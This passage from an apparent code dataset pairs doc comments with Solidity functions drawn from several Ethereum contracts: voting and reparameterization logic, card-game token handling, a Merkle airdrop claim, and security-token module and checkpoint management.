pollMap[_pollID].voteOptions[_voter];\r\n\r\n require(voterVoteOption == winningChoice, \"Voter revealed, but not in the majority\");\r\n\r\n return getNumTokens(_voter, _pollID);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @dev Initiates a poll with canonical configured parameters at pollID emitted by PollCreated event\r\n @param _voteQuorum Type of majority (out of 100) that is necessary for poll to be successful\r\n @param _commitDuration Length of desired commit period in seconds\r\n @param _revealDuration Length of desired reveal period in seconds\r\n */", "function_code": "function startPoll(uint _voteQuorum, uint _commitDuration, uint _revealDuration) public returns (uint pollID) {\r\n pollNonce = pollNonce + 1;\r\n\r\n uint commitEndDate = block.timestamp.add(_commitDuration);\r\n uint revealEndDate = commitEndDate.add(_revealDuration);\r\n\r\n pollMap[pollNonce] = Poll({\r\n voteQuorum: _voteQuorum,\r\n commitEndDate: commitEndDate,\r\n revealEndDate: revealEndDate,\r\n votesFor: 0,\r\n votesAgainst: 0\r\n });\r\n\r\n emit _PollCreated(_voteQuorum, commitEndDate, revealEndDate, pollNonce, msg.sender);\r\n return pollNonce;\r\n }", "version": "0.4.24"} {"comment": "/*\r\n @dev Takes the last node in the user's DLL and iterates backwards through the list searching\r\n for a node with a value less than or equal to the provided _numTokens value. When such a node\r\n is found, if the provided _pollID matches the found nodeID, this operation is an in-place\r\n update. In that case, return the previous node of the node being updated. Otherwise return the\r\n first node that was found with a value less than or equal to the provided _numTokens.\r\n @param _voter The voter whose DLL will be searched\r\n @param _numTokens The value for the numTokens attribute in the node to be inserted\r\n @return the node which the propoded node should be inserted after\r\n */", "function_code": "function getInsertPointForNumTokens(address _voter, uint _numTokens, uint _pollID)\r\n constant public returns (uint prevNode) {\r\n // Get the last node in the list and the number of tokens in that node\r\n uint nodeID = getLastNode(_voter);\r\n uint tokensInNode = getNumTokens(_voter, nodeID);\r\n\r\n // Iterate backwards through the list until reaching the root node\r\n while(nodeID != 0) {\r\n // Get the number of tokens in the current node\r\n tokensInNode = getNumTokens(_voter, nodeID);\r\n if(tokensInNode <= _numTokens) { // We found the insert point!\r\n if(nodeID == _pollID) {\r\n // This is an in-place update. Return the prev node of the node being updated\r\n nodeID = dllMap[_voter].getPrev(nodeID);\r\n }\r\n // Return the insert point\r\n return nodeID;\r\n }\r\n // We did not find the insert point. Continue iterating backwards through the list\r\n nodeID = dllMap[_voter].getPrev(nodeID);\r\n }\r\n\r\n // The list is empty, or a smaller value than anything else in the list is being inserted\r\n return nodeID;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice propose a reparamaterization of the key _name's value to _value.\r\n @param _name the name of the proposed param to be set\r\n @param _value the proposed value to set the param to be set\r\n */", "function_code": "function proposeReparameterization(string _name, uint _value) public returns (bytes32) {\r\n uint deposit = get(\"pMinDeposit\");\r\n bytes32 propID = keccak256(abi.encodePacked(_name, _value));\r\n\r\n if (keccak256(abi.encodePacked(_name)) == keccak256(abi.encodePacked(\"dispensationPct\")) ||\r\n keccak256(abi.encodePacked(_name)) == keccak256(abi.encodePacked(\"pDispensationPct\"))) {\r\n require(_value <= 100);\r\n }\r\n\r\n require(!propExists(propID)); // Forbid duplicate proposals\r\n require(get(_name) != _value); // Forbid NOOP reparameterizations\r\n\r\n // attach name and value to pollID\r\n proposals[propID] = ParamProposal({\r\n appExpiry: now.add(get(\"pApplyStageLen\")),\r\n challengeID: 0,\r\n deposit: deposit,\r\n name: _name,\r\n owner: msg.sender,\r\n processBy: now.add(get(\"pApplyStageLen\"))\r\n .add(get(\"pCommitStageLen\"))\r\n .add(get(\"pRevealStageLen\"))\r\n .add(PROCESSBY),\r\n value: _value\r\n });\r\n\r\n require(token.transferFrom(msg.sender, this, deposit)); // escrow tokens (deposit amt)\r\n\r\n emit _ReparameterizationProposal(_name, _value, propID, deposit, proposals[propID].appExpiry, msg.sender);\r\n return propID;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice challenge the provided proposal ID, and put tokens at stake to do so.\r\n @param _propID the proposal ID to challenge\r\n */", "function_code": "function challengeReparameterization(bytes32 _propID) public returns (uint challengeID) {\r\n ParamProposal memory prop = proposals[_propID];\r\n uint deposit = prop.deposit;\r\n\r\n require(propExists(_propID) && prop.challengeID == 0);\r\n\r\n //start poll\r\n uint pollID = voting.startPoll(\r\n get(\"pVoteQuorum\"),\r\n get(\"pCommitStageLen\"),\r\n get(\"pRevealStageLen\")\r\n );\r\n\r\n challenges[pollID] = Challenge({\r\n challenger: msg.sender,\r\n rewardPool: SafeMath.sub(100, get(\"pDispensationPct\")).mul(deposit).div(100),\r\n stake: deposit,\r\n resolved: false,\r\n winningTokens: 0\r\n });\r\n\r\n proposals[_propID].challengeID = pollID; // update listing to store most recent challenge\r\n\r\n //take tokens from challenger\r\n require(token.transferFrom(msg.sender, this, deposit));\r\n\r\n (uint commitEndDate, uint revealEndDate,,,) = voting.pollMap(pollID);\r\n\r\n emit _NewChallenge(_propID, pollID, commitEndDate, revealEndDate, msg.sender);\r\n return pollID;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Claim the tokens owed for the msg.sender in the provided challenge\r\n @param _challengeID the challenge ID to claim tokens for\r\n */", "function_code": "function claimReward(uint _challengeID) public {\r\n Challenge storage challenge = challenges[_challengeID];\r\n // ensure voter has not already claimed tokens and challenge results have been processed\r\n require(challenge.tokenClaims[msg.sender] == false);\r\n require(challenge.resolved == true);\r\n\r\n uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID);\r\n uint reward = voterReward(msg.sender, _challengeID);\r\n\r\n // subtract voter's information to preserve the participation ratios of other voters\r\n // compared to the remaining pool of rewards\r\n challenge.winningTokens -= voterTokens;\r\n challenge.rewardPool -= reward;\r\n\r\n // ensures a voter cannot claim tokens again\r\n challenge.tokenClaims[msg.sender] = true;\r\n\r\n emit _RewardClaimed(_challengeID, reward, msg.sender);\r\n require(token.transfer(msg.sender, reward));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Determines the number of tokens to awarded to the winning party in a challenge\r\n @param _challengeID The challengeID to determine a reward for\r\n */", "function_code": "function challengeWinnerReward(uint _challengeID) public view returns (uint) {\r\n if(voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) {\r\n // Edge case, nobody voted, give all tokens to the challenger.\r\n return 2 * challenges[_challengeID].stake;\r\n }\r\n\r\n return (2 * challenges[_challengeID].stake) - challenges[_challengeID].rewardPool;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @dev resolves a challenge for the provided _propID. It must be checked in advance whether the _propID has a challenge on it\r\n @param _propID the proposal ID whose challenge is to be resolved.\r\n */", "function_code": "function resolveChallenge(bytes32 _propID) private {\r\n ParamProposal memory prop = proposals[_propID];\r\n Challenge storage challenge = challenges[prop.challengeID];\r\n\r\n // winner gets back their full staked deposit, and dispensationPct*loser's stake\r\n uint reward = challengeWinnerReward(prop.challengeID);\r\n\r\n challenge.winningTokens = voting.getTotalNumberOfTokensForWinningOption(prop.challengeID);\r\n challenge.resolved = true;\r\n\r\n if (voting.isPassed(prop.challengeID)) { // The challenge failed\r\n if(prop.processBy > now) {\r\n set(prop.name, prop.value);\r\n }\r\n emit _ChallengeFailed(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens);\r\n require(token.transfer(prop.owner, reward));\r\n }\r\n else { // The challenge succeeded or nobody voted\r\n emit _ChallengeSucceeded(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens);\r\n require(token.transfer(challenges[prop.challengeID].challenger, reward));\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev override transferFrom token for a specified address to add validDestination\r\n * @param _from The address to transfer from.\r\n * @param _to The address to transfer to.\r\n * @param _value The amount to be transferred.\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value)\r\n onlyPayloadSize(32 + 32 + 32) // address (32) + address (32) + uint256 (32)\r\n validDestination(_to)\r\n onlyWhenTransferEnabled\r\n public\r\n returns (bool)\r\n {\r\n return super.transferFrom(_from, _to, _value);\r\n }", "version": "0.4.26"} {"comment": "// can never adjust tradable cards\n// each season gets a 'balancing beta'\n// totally immutable: season, rarity", "function_code": "function replaceProto(\r\n uint16 index, uint8 god, uint8 cardType, uint8 mana, uint8 attack, uint8 health, uint8 tribe\r\n ) public onlyGovernor {\r\n ProtoCard memory pc = protos[index];\r\n require(!seasonTradable[pc.season]);\r\n protos[index] = ProtoCard({\r\n exists: true,\r\n god: god,\r\n season: pc.season,\r\n cardType: cardType,\r\n rarity: pc.rarity,\r\n mana: mana,\r\n attack: attack,\r\n health: health,\r\n tribe: tribe\r\n });\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @param proposed : the claimed owner of the cards\r\n * @param ids : the ids of the cards to check\r\n * @return whether proposed owns all of the cards \r\n */", "function_code": "function ownsAll(address proposed, uint[] ids) public view returns (bool) {\r\n for (uint i = 0; i < ids.length; i++) {\r\n if (!owns(proposed, ids[i])) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @param id : the index of the token to burn\r\n */", "function_code": "function burn(uint id) public {\r\n // require(isTradable(cards[id].proto));\r\n require(owns(msg.sender, id));\r\n burnCount++;\r\n // use the internal transfer function as the external\r\n // has a guard to prevent transfers to 0x0\r\n _transfer(msg.sender, address(0), id);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @param to : the address to which the token should be transferred\r\n * @param id : the index of the token to transfer\r\n */", "function_code": "function transferFrom(address from, address to, uint id) public payable {\r\n \r\n require(to != address(0));\r\n require(to != address(this));\r\n\r\n // TODO: why is this necessary\r\n // if you're approved, why does it matter where it comes from?\r\n require(ownerOf(id) == from);\r\n\r\n require(isSenderApprovedFor(id));\r\n\r\n require(isTradable(cards[id].proto));\r\n\r\n _transfer(ownerOf(id), to, id);\r\n }", "version": "0.4.24"} {"comment": "// store purity and shine as one number to save users gas", "function_code": "function _getPurity(uint16 randOne, uint16 randTwo) internal pure returns (uint16) {\r\n if (randOne >= 998) {\r\n return 3000 + randTwo;\r\n } else if (randOne >= 988) {\r\n return 2000 + randTwo;\r\n } else if (randOne >= 938) {\r\n return 1000 + randTwo;\r\n } else {\r\n return randTwo;\r\n }\r\n }", "version": "0.4.24"} {"comment": "// can be called by anybody", "function_code": "function callback(uint id) public {\r\n\r\n Purchase storage p = purchases[id];\r\n\r\n require(p.randomness == 0);\r\n\r\n bytes32 bhash = blockhash(p.commit);\r\n\r\n uint random = uint(keccak256(abi.encodePacked(totalCount, bhash)));\r\n\r\n totalCount += p.count;\r\n\r\n if (uint(bhash) == 0) {\r\n // should never happen (must call within next 256 blocks)\r\n // if it does, just give them 1: will become common and therefore less valuable\r\n // set to 1 rather than 0 to avoid calling claim before randomness\r\n p.randomness = 1;\r\n } else {\r\n p.randomness = random;\r\n }\r\n\r\n emit RandomnessReceived(id, p.user, p.count, p.randomness);\r\n }", "version": "0.4.24"} {"comment": "// Get all tiers", "function_code": "function getAllTiers() external view returns (Tier[] memory) {\r\n Tier[] memory tiers = new Tier[](numTiers);\r\n for (uint256 i = 1; i < numTiers + 1; i++) {\r\n tiers[i - 1] = allTiers[i];\r\n }\r\n return tiers;\r\n }", "version": "0.8.4"} {"comment": "// Before all token transfer", "function_code": "function _beforeTokenTransfer(\r\n address _from,\r\n address _to,\r\n uint256 _tokenId\r\n ) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {\r\n // Store token last transfer timestamp by id\r\n tokenLastTransferredAt[_tokenId] = block.timestamp;\r\n\r\n // TODO: update tracker of from/to owned tokenIds\r\n\r\n super._beforeTokenTransfer(_from, _to, _tokenId);\r\n }", "version": "0.8.4"} {"comment": "/// @notice Check if the index has been marked as claimed.\n/// @param index - the index to check\n/// @return true if index has been marked as claimed.", "function_code": "function isClaimed(uint256 index) public view returns (bool) {\n uint256 claimedWordIndex = index / 256;\n uint256 claimedBitIndex = index % 256;\n uint256 claimedWord = claimedBitMap[week][claimedWordIndex];\n uint256 mask = (1 << claimedBitIndex);\n return claimedWord & mask == mask;\n }", "version": "0.8.9"} {"comment": "/// @notice Claim the given amount of the token to the given address.\n/// Reverts if the inputs are invalid.\n/// @param index - claimer index\n/// @param account - claimer account\n/// @param amount - claim amount\n/// @param merkleProof - merkle proof for the claim\n/// @param option - claiming option", "function_code": "function claim(\n uint256 index,\n address account,\n uint256 amount,\n bytes32[] calldata merkleProof,\n Option option\n ) external nonReentrant {\n require(!frozen, \"Claiming is frozen.\");\n require(!isClaimed(index), \"Drop already claimed.\");\n\n // Verify the merkle proof.\n bytes32 node = keccak256(abi.encodePacked(index, account, amount));\n require(\n MerkleProof.verify(merkleProof, merkleRoot, node),\n \"Invalid proof.\"\n );\n\n // Mark it claimed and send the token.\n _setClaimed(index);\n\n if (option == Option.ClaimAsCRV) {\n _swapCvxCrvToCrv(amount, account);\n } else if (option == Option.ClaimAsETH) {\n uint256 _crvBalance = _swapCvxCrvToCrv(amount, address(this));\n uint256 _ethAmount = _swapCrvToEth(_crvBalance);\n (bool success, ) = account.call{value: _ethAmount}(\"\");\n require(success, \"ETH transfer failed\");\n } else if (option == Option.ClaimAsCVX) {\n uint256 _crvBalance = _swapCvxCrvToCrv(amount, address(this));\n uint256 _ethAmount = _swapCrvToEth(_crvBalance);\n uint256 _cvxAmount = _swapEthToCvx(_ethAmount);\n IERC20(CVX_TOKEN).safeTransfer(account, _cvxAmount);\n } else if (option == Option.ClaimAndStake) {\n require(cvxCrvStaking.stakeFor(account, amount), \"Staking failed\");\n } else {\n IERC20(token).safeTransfer(account, amount);\n }\n\n emit Claimed(index, amount, account, week, option);\n }", "version": "0.8.9"} {"comment": "/// @notice Update the merkle root and increment the week.\n/// @param _merkleRoot - the new root to push", "function_code": "function updateMerkleRoot(bytes32 _merkleRoot) public onlyAdmin {\n require(frozen, \"Contract not frozen.\");\n\n // Increment the week (simulates the clearing of the claimedBitMap)\n week = week + 1;\n // Set the new merkle root\n merkleRoot = _merkleRoot;\n\n emit MerkleRootUpdated(merkleRoot, week);\n }", "version": "0.8.9"} {"comment": "///@notice Transfer tokens between accounts\n///@param from The benefactor/sender account.\n///@param to The beneficiary account\n///@param value The amount to be transfered ", "function_code": "function transferFrom(address from, address to, uint value) returns (bool success){\r\n \r\n require(\r\n allowance[from][msg.sender] >= value\r\n &&balances[from] >= value\r\n && value > 0\r\n );\r\n \r\n balances[from] = balances[from].sub(value);\r\n balances[to] = balances[to].add(value);\r\n allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);\r\n return true;\r\n }", "version": "0.4.11"} {"comment": "///@notice Transfer tokens to the beneficiary account\n///@param to The beneficiary account\n///@param value The amount of tokens to be transfered ", "function_code": "function transfer(address to, uint value) returns (bool success){\r\n require(\r\n balances[msg.sender] >= value \r\n && value > 0 \r\n && (!frozenAccount[msg.sender]) \t\t\t\t\t\t\t\t\t\t// Allow transfer only if account is not frozen\r\n );\r\n balances[msg.sender] = balances[msg.sender].sub(value); \r\n balances[to] = balances[to].add(value); // Update the balance of beneficiary account\r\n\t\t\tTransfer(msg.sender,to,value);\r\n return true;\r\n }", "version": "0.4.11"} {"comment": "///@notice Increase the number of coins\n///@param target The address of the account where the coins would be added.\n///@param mintedAmount The amount of coins to be added", "function_code": "function mintToken(address target, uint256 mintedAmount) onlyOwner {\r\n balances[target] = balances[target].add(mintedAmount); //Add the amount of coins to be increased to the balance\r\n currentSupply = currentSupply.add(mintedAmount); //Add the amount of coins to be increased to the supply\r\n Transfer(0, this, mintedAmount);\r\n Transfer(this, target, mintedAmount);\r\n }", "version": "0.4.11"} {"comment": "/// Notice - Maximum length for _source will be 32 chars otherwise returned bytes32 value will have lossy value.", "function_code": "function bytesToBytes32(bytes _b, uint _offset) internal pure returns (bytes32) {\r\n bytes32 result;\r\n\r\n for (uint i = 0; i < _b.length; i++) {\r\n result |= bytes32(_b[_offset + i] & 0xFF) >> (i * 8);\r\n }\r\n return result;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Changes the bytes32 into string\r\n * @param _source that need to convert into string\r\n */", "function_code": "function bytes32ToString(bytes32 _source) internal pure returns (string result) {\r\n bytes memory bytesString = new bytes(32);\r\n uint charCount = 0;\r\n for (uint j = 0; j < 32; j++) {\r\n byte char = byte(bytes32(uint(_source) * 2 ** (8 * j)));\r\n if (char != 0) {\r\n bytesString[charCount] = char;\r\n charCount++;\r\n }\r\n }\r\n bytes memory bytesStringTrimmed = new bytes(charCount);\r\n for (j = 0; j < charCount; j++) {\r\n bytesStringTrimmed[j] = bytesString[j];\r\n }\r\n return string(bytesStringTrimmed);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Gets function signature from _data\r\n * @param _data Passed data\r\n * @return bytes4 sig\r\n */", "function_code": "function getSig(bytes _data) internal pure returns (bytes4 sig) {\r\n uint len = _data.length < 4 ? _data.length : 4;\r\n for (uint i = 0; i < len; i++) {\r\n sig = bytes4(uint(sig) + uint(_data[i]) * (2 ** (8 * (len - 1 - i))));\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Validates permissions with PermissionManager if it exists. If there's no permission return false\r\n * @dev Note that IModule withPerm will allow ST owner all permissions by default\r\n * @dev this allows individual modules to override this logic if needed (to not allow ST owner all permissions)\r\n * @param _modules is the modules to check permissions on\r\n * @param _delegate is the address of the delegate\r\n * @param _module is the address of the PermissionManager module\r\n * @param _perm is the permissions data\r\n * @return success\r\n */", "function_code": "function checkPermission(address[] storage _modules, address _delegate, address _module, bytes32 _perm) public view returns(bool) {\r\n if (_modules.length == 0) {\r\n return false;\r\n }\r\n\r\n for (uint8 i = 0; i < _modules.length; i++) {\r\n if (IPermissionManager(_modules[i]).checkPermission(_delegate, _module, _perm)) {\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Queries a value at a defined checkpoint\r\n * @param _checkpoints is array of Checkpoint objects\r\n * @param _checkpointId is the Checkpoint ID to query\r\n * @param _currentValue is the Current value of checkpoint\r\n * @return uint256\r\n */", "function_code": "function getValueAt(Checkpoint[] storage _checkpoints, uint256 _checkpointId, uint256 _currentValue) public view returns(uint256) {\r\n //Checkpoint id 0 is when the token is first created - everyone has a zero balance\r\n if (_checkpointId == 0) {\r\n return 0;\r\n }\r\n if (_checkpoints.length == 0) {\r\n return _currentValue;\r\n }\r\n if (_checkpoints[0].checkpointId >= _checkpointId) {\r\n return _checkpoints[0].value;\r\n }\r\n if (_checkpoints[_checkpoints.length - 1].checkpointId < _checkpointId) {\r\n return _currentValue;\r\n }\r\n if (_checkpoints[_checkpoints.length - 1].checkpointId == _checkpointId) {\r\n return _checkpoints[_checkpoints.length - 1].value;\r\n }\r\n uint256 min = 0;\r\n uint256 max = _checkpoints.length - 1;\r\n while (max > min) {\r\n uint256 mid = (max + min) / 2;\r\n if (_checkpoints[mid].checkpointId == _checkpointId) {\r\n max = mid;\r\n break;\r\n }\r\n if (_checkpoints[mid].checkpointId < _checkpointId) {\r\n min = mid + 1;\r\n } else {\r\n max = mid;\r\n }\r\n }\r\n return _checkpoints[max].value;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Stores the changes to the checkpoint objects\r\n * @param _checkpoints is the affected checkpoint object array\r\n * @param _newValue is the new value that needs to be stored\r\n */", "function_code": "function adjustCheckpoints(TokenLib.Checkpoint[] storage _checkpoints, uint256 _newValue, uint256 _currentCheckpointId) public {\r\n //No checkpoints set yet\r\n if (_currentCheckpointId == 0) {\r\n return;\r\n }\r\n //No new checkpoints since last update\r\n if ((_checkpoints.length > 0) && (_checkpoints[_checkpoints.length - 1].checkpointId == _currentCheckpointId)) {\r\n return;\r\n }\r\n //New checkpoint, so record balance\r\n _checkpoints.push(\r\n TokenLib.Checkpoint({\r\n checkpointId: _currentCheckpointId,\r\n value: _newValue\r\n })\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Keeps track of the number of non-zero token holders\r\n * @param _investorData Date releated to investor metrics\r\n * @param _from Sender of transfer\r\n * @param _to Receiver of transfer\r\n * @param _value Value of transfer\r\n * @param _balanceTo Balance of the _to address\r\n * @param _balanceFrom Balance of the _from address\r\n */", "function_code": "function adjustInvestorCount(\r\n InvestorDataStorage storage _investorData,\r\n address _from,\r\n address _to,\r\n uint256 _value,\r\n uint256 _balanceTo,\r\n uint256 _balanceFrom\r\n ) public {\r\n if ((_value == 0) || (_from == _to)) {\r\n return;\r\n }\r\n // Check whether receiver is a new token holder\r\n if ((_balanceTo == 0) && (_to != address(0))) {\r\n _investorData.investorCount = (_investorData.investorCount).add(1);\r\n }\r\n // Check whether sender is moving all of their tokens\r\n if (_value == _balanceFrom) {\r\n _investorData.investorCount = (_investorData.investorCount).sub(1);\r\n }\r\n //Also adjust investor list\r\n if (!_investorData.investorListed[_to] && (_to != address(0))) {\r\n _investorData.investors.push(_to);\r\n _investorData.investorListed[_to] = true;\r\n }\r\n\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Attachs a module to the SecurityToken\r\n * @dev E.G.: On deployment (through the STR) ST gets a TransferManager module attached to it\r\n * @dev to control restrictions on transfers.\r\n * @param _moduleFactory is the address of the module factory to be added\r\n * @param _data is data packed into bytes used to further configure the module (See STO usage)\r\n * @param _maxCost max amount of POLY willing to pay to the module.\r\n * @param _budget max amount of ongoing POLY willing to assign to the module.\r\n */", "function_code": "function addModule(\r\n address _moduleFactory,\r\n bytes _data,\r\n uint256 _maxCost,\r\n uint256 _budget\r\n ) external onlyOwner nonReentrant {\r\n //Check that the module factory exists in the ModuleRegistry - will throw otherwise\r\n IModuleRegistry(moduleRegistry).useModule(_moduleFactory);\r\n IModuleFactory moduleFactory = IModuleFactory(_moduleFactory);\r\n uint8[] memory moduleTypes = moduleFactory.getTypes();\r\n uint256 moduleCost = moduleFactory.getSetupCost();\r\n require(moduleCost <= _maxCost, \"Invalid cost\");\r\n //Approve fee for module\r\n ERC20(polyToken).approve(_moduleFactory, moduleCost);\r\n //Creates instance of module from factory\r\n address module = moduleFactory.deploy(_data);\r\n require(modulesToData[module].module == address(0), \"Module exists\");\r\n //Approve ongoing budget\r\n ERC20(polyToken).approve(module, _budget);\r\n //Add to SecurityToken module map\r\n bytes32 moduleName = moduleFactory.getName();\r\n uint256[] memory moduleIndexes = new uint256[](moduleTypes.length);\r\n uint256 i;\r\n for (i = 0; i < moduleTypes.length; i++) {\r\n moduleIndexes[i] = modules[moduleTypes[i]].length;\r\n modules[moduleTypes[i]].push(module);\r\n }\r\n modulesToData[module] = TokenLib.ModuleData(\r\n moduleName, module, _moduleFactory, false, moduleTypes, moduleIndexes, names[moduleName].length\r\n );\r\n names[moduleName].push(module);\r\n //Emit log event\r\n /*solium-disable-next-line security/no-block-members*/\r\n emit ModuleAdded(moduleTypes, moduleName, _moduleFactory, module, moduleCost, _budget, now);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Removes a module attached to the SecurityToken\r\n * @param _module address of module to unarchive\r\n */", "function_code": "function removeModule(address _module) external onlyOwner {\r\n require(modulesToData[_module].isArchived, \"Not archived\");\r\n require(modulesToData[_module].module != address(0), \"Module missing\");\r\n /*solium-disable-next-line security/no-block-members*/\r\n emit ModuleRemoved(modulesToData[_module].moduleTypes, _module, now);\r\n // Remove from module type list\r\n uint8[] memory moduleTypes = modulesToData[_module].moduleTypes;\r\n for (uint256 i = 0; i < moduleTypes.length; i++) {\r\n _removeModuleWithIndex(moduleTypes[i], modulesToData[_module].moduleIndexes[i]);\r\n /* modulesToData[_module].moduleType[moduleTypes[i]] = false; */\r\n }\r\n // Remove from module names list\r\n uint256 index = modulesToData[_module].nameIndex;\r\n bytes32 name = modulesToData[_module].name;\r\n uint256 length = names[name].length;\r\n names[name][index] = names[name][length - 1];\r\n names[name].length = length - 1;\r\n if ((length - 1) != index) {\r\n modulesToData[names[name][index]].nameIndex = index;\r\n }\r\n // Remove from modulesToData\r\n delete modulesToData[_module];\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Internal - Removes a module attached to the SecurityToken by index\r\n */", "function_code": "function _removeModuleWithIndex(uint8 _type, uint256 _index) internal {\r\n uint256 length = modules[_type].length;\r\n modules[_type][_index] = modules[_type][length - 1];\r\n modules[_type].length = length - 1;\r\n\r\n if ((length - 1) != _index) {\r\n //Need to find index of _type in moduleTypes of module we are moving\r\n uint8[] memory newTypes = modulesToData[modules[_type][_index]].moduleTypes;\r\n for (uint256 i = 0; i < newTypes.length; i++) {\r\n if (newTypes[i] == _type) {\r\n modulesToData[modules[_type][_index]].moduleIndexes[i] = _index;\r\n }\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n \r\n * @notice allows owner to increase/decrease POLY approval of one of the modules\r\n * @param _module module address\r\n * @param _change change in allowance\r\n * @param _increase true if budget has to be increased, false if decrease\r\n */", "function_code": "function changeModuleBudget(address _module, uint256 _change, bool _increase) external onlyOwner {\r\n require(modulesToData[_module].module != address(0), \"Module missing\");\r\n uint256 currentAllowance = IERC20(polyToken).allowance(address(this), _module);\r\n uint256 newAllowance;\r\n if (_increase) {\r\n require(IERC20(polyToken).increaseApproval(_module, _change), \"IncreaseApproval fail\");\r\n newAllowance = currentAllowance.add(_change);\r\n } else {\r\n require(IERC20(polyToken).decreaseApproval(_module, _change), \"Insufficient allowance\");\r\n newAllowance = currentAllowance.sub(_change);\r\n }\r\n emit ModuleBudgetChanged(modulesToData[_module].moduleTypes, _module, currentAllowance, newAllowance);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice returns an array of investors at a given checkpoint\r\n * NB - this length may differ from investorCount as it contains all investors that ever held tokens\r\n * @param _checkpointId Checkpoint id at which investor list is to be populated\r\n * @return list of investors\r\n */", "function_code": "function getInvestorsAt(uint256 _checkpointId) external view returns(address[]) {\r\n uint256 count = 0;\r\n uint256 i;\r\n for (i = 0; i < investorData.investors.length; i++) {\r\n if (balanceOfAt(investorData.investors[i], _checkpointId) > 0) {\r\n count++;\r\n }\r\n }\r\n address[] memory investors = new address[](count);\r\n count = 0;\r\n for (i = 0; i < investorData.investors.length; i++) {\r\n if (balanceOfAt(investorData.investors[i], _checkpointId) > 0) {\r\n investors[count] = investorData.investors[i];\r\n count++;\r\n }\r\n }\r\n return investors;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice generates subset of investors\r\n * NB - can be used in batches if investor list is large\r\n * @param _start Position of investor to start iteration from\r\n * @param _end Position of investor to stop iteration at\r\n * @return list of investors\r\n */", "function_code": "function iterateInvestors(uint256 _start, uint256 _end) external view returns(address[]) {\r\n require(_end <= investorData.investors.length, \"Invalid end\");\r\n address[] memory investors = new address[](_end.sub(_start));\r\n uint256 index = 0;\r\n for (uint256 i = _start; i < _end; i++) {\r\n investors[index] = investorData.investors[i];\r\n index++;\r\n }\r\n return investors;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Updates internal variables when performing a transfer\r\n * @param _from sender of transfer\r\n * @param _to receiver of transfer\r\n * @param _value value of transfer\r\n * @param _data data to indicate validation\r\n * @return bool success\r\n */", "function_code": "function _updateTransfer(address _from, address _to, uint256 _value, bytes _data) internal nonReentrant returns(bool) {\r\n // NB - the ordering in this function implies the following:\r\n // - investor counts are updated before transfer managers are called - i.e. transfer managers will see\r\n //investor counts including the current transfer.\r\n // - checkpoints are updated after the transfer managers are called. This allows TMs to create\r\n //checkpoints as though they have been created before the current transactions,\r\n // - to avoid the situation where a transfer manager transfers tokens, and this function is called recursively,\r\n //the function is marked as nonReentrant. This means that no TM can transfer (or mint / burn) tokens.\r\n _adjustInvestorCount(_from, _to, _value);\r\n bool verified = _verifyTransfer(_from, _to, _value, _data, true);\r\n _adjustBalanceCheckpoints(_from);\r\n _adjustBalanceCheckpoints(_to);\r\n return verified;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Validate transfer with TransferManager module if it exists\r\n * @dev TransferManager module has a key of 2\r\n * @dev _isTransfer boolean flag is the deciding factor for whether the\r\n * state variables gets modified or not within the different modules. i.e isTransfer = true\r\n * leads to change in the modules environment otherwise _verifyTransfer() works as a read-only\r\n * function (no change in the state).\r\n * @param _from sender of transfer\r\n * @param _to receiver of transfer\r\n * @param _value value of transfer\r\n * @param _data data to indicate validation\r\n * @param _isTransfer whether transfer is being executed\r\n * @return bool\r\n */", "function_code": "function _verifyTransfer(\r\n address _from,\r\n address _to,\r\n uint256 _value,\r\n bytes _data,\r\n bool _isTransfer\r\n ) internal checkGranularity(_value) returns (bool) {\r\n if (!transfersFrozen) {\r\n bool isInvalid = false;\r\n bool isValid = false;\r\n bool isForceValid = false;\r\n bool unarchived = false;\r\n address module;\r\n for (uint256 i = 0; i < modules[TRANSFER_KEY].length; i++) {\r\n module = modules[TRANSFER_KEY][i];\r\n if (!modulesToData[module].isArchived) {\r\n unarchived = true;\r\n ITransferManager.Result valid = ITransferManager(module).verifyTransfer(_from, _to, _value, _data, _isTransfer);\r\n if (valid == ITransferManager.Result.INVALID) {\r\n isInvalid = true;\r\n } else if (valid == ITransferManager.Result.VALID) {\r\n isValid = true;\r\n } else if (valid == ITransferManager.Result.FORCE_VALID) {\r\n isForceValid = true;\r\n }\r\n }\r\n }\r\n // If no unarchived modules, return true by default\r\n return unarchived ? (isForceValid ? true : (isInvalid ? false : isValid)) : true;\r\n }\r\n return false;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice mints new tokens and assigns them to the target _investor.\r\n * @dev Can only be called by the issuer or STO attached to the token\r\n * @param _investor Address where the minted tokens will be delivered\r\n * @param _value Number of tokens be minted\r\n * @param _data data to indicate validation\r\n * @return success\r\n */", "function_code": "function mintWithData(\r\n address _investor,\r\n uint256 _value,\r\n 